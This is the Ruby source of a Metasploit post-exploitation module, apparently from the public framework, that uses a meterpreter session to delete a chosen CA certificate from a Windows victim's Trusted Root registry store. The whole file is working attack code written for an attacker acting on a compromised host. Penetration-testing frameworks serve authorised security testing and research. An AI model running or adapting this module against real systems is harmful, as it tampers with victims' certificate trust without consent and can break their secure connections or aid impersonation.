57 lines
1.7 KiB
Ruby
57 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Manage Certificate Authority Removal',
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'Description' => %q{
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This module allows the attacker to remove an arbitrary CA certificate
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from the victim's Trusted Root store.},
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'License' => BSD_LICENSE,
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'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('CERTID', [ true, 'SHA1 hash of the certificate to remove.', '']),
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], self.class)
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end
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def run
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certtoremove = datastore['CERTID']
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open_key = nil
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key = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates"
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rkey,bkey = client.sys.registry.splitkey(key)
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# Check if the requested cert is actually in the registry to start with
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open_key = client.sys.registry.open_key(rkey, bkey, KEY_READ + 0x0000)
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keys = open_key.enum_key
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if (keys.length > 1)
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if (keys.include?(certtoremove))
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# We found our target
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else
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print_error("The specified CA is not in the registry.")
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return
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end
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else
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print_error("These are not the CAs you are looking for (i.e. this registry branch is empty)")
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end
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open_key = client.sys.registry.open_key(rkey, bkey, KEY_WRITE + 0x0000)
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open_key.delete_key(certtoremove)
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print_good("Successfully deleted CA: #{certtoremove}")
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end
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end
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